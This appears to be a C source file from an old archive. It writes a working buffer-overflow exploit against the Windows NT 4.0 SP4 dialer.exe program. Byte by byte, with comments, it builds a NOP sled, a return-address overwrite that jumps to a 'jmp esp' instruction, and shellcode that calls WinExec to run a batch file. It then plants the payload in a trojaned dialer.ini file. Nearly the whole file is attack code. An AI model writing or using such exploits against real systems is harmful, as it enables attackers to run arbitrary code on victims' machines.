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dialer.c
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C/C++ Source or Header
|
2005-02-12
|
4KB
|
133 lines
#include <stdio.h>
#include <windows.h>
int main(void)
{
FILE *fd;
char ExploitCode[256];
int count = 0;
while (count < 100)
{
ExploitCode[count]=0x90;
count ++;
}
// ExploitCode[100] to ExploitCode[103] overwrites the real return address
// with 0x77F327E5 which contains a "jmp esp" instruction taking us back
// to our payload of exploit code
ExploitCode[100]=0xE5;
ExploitCode[101]=0x27;
ExploitCode[102]=0xF3;
ExploitCode[103]=0x77;
// procedure prologue - push ebp
// mov ebp,esp
ExploitCode[104]=0x55;
ExploitCode[105]=0x8B;
// This moves into the eax register the address where WinExec() is found
// in kernel32.dll at address 0x77F1A9DA - This address has been hard-
// coded in to save room rather than going through LoadLibrary() and
// GetProcAddress () to get the address - since we've already hard
// coded in the return address from kernel32.dll - there seems no
// harm in doing this
ExploitCode[106]=0xEC;
ExploitCode[107]=0xB8;
ExploitCode[108]=0xDA;
ExploitCode[109]=0xA9;
ExploitCode[110]=0xF1;
ExploitCode[111]=0x77;
// We need some NULLs to terminate a string - to do this we xor the esi
// register with itself - xor esi,esi
ExploitCode[112]=0x33;
ExploitCode[113]=0xF6;
// These NULLs are then pushed onto the stack - push esi
ExploitCode[114]=0x56;
// Now the name of the batch file to be run is pushed onto the stack
// We'll let WinExec() pick up the file - we use push here
// to push on "tab." (code.bat)
ExploitCode[115]=0x68;
ExploitCode[116]=0x2E;
ExploitCode[117]=0x62;
ExploitCode[118]=0x61;
ExploitCode[119]=0x74;
// And now we push on "edoc"
ExploitCode[120]=0x68;
ExploitCode[121]=0x63;
ExploitCode[122]=0x6F;
ExploitCode[123]=0x64;
ExploitCode[124]=0x65;
// We push the esi (our NULLs) again - this will be used by WinExec() to
determine
// whether to display a window on the desktop or not - in this case it will
not
ExploitCode[125]=0x56;
// The address of the "c" of code.bat is loaded into the edi register -
this
// becomes a pointer to the name of what we want to tell WinExec() to run
ExploitCode[126]=0x8D;
ExploitCode[127]=0x7D;
ExploitCode[128]=0xF4;
// This is then pushed onto the stack
ExploitCode[129]=0x57;
// With everything primed we then call WinExec() - this will then run
code.bat
ExploitCode[130]=0xFF;
ExploitCode[131]=0xD0;
// With the batch file running we then call ExitProcess () to stop
dialer.exe
// from churning out an Access Violation message - first the procedure
//prologue push ebp and movebp,esp
ExploitCode[132]=0x55;
ExploitCode[133]=0x8B;
ExploitCode[134]=0xEC;
// We need to give ExitProcess() an exit code - we'll give it 0 to use - we
need
// some NULLs then - xor esi,esi
ExploitCode[135]=0x33;
ExploitCode[136]=0xF6;
// and we need them on the stack - push esi
ExploitCode[137]=0x56;
// Now we mov the address for ExitProcess() into the EAX register - again
we
// we hard code this in tieing this exploit to NT 4.0 SP4
ExploitCode[138]=0xB8;
ExploitCode[139]=0xE6;
ExploitCode[140]=0x9F;
ExploitCode[141]=0xF1;
ExploitCode[142]=0x77;
// And then finally call it
ExploitCode[143]=0xFF;
ExploitCode[144]=0xD0;
// Now to create the trojaned dialer.ini file
fd = fopen("dialer.ini", "w+");
if (fd == NULL)
{
printf("Couldn't create dialer.ini");
return 0;
}
// Give dialer.exe what it needs from dialer.ini
fprintf(fd,"[Preference]\nPreferred Line=148446\nPreferred Address=0\nMain
Window Left/Top=489, 173\n[Last dialed numbers]\nLast dialed 1=");
// And inject our exploit code
fprintf(fd,ExploitCode);
fclose(fd);
}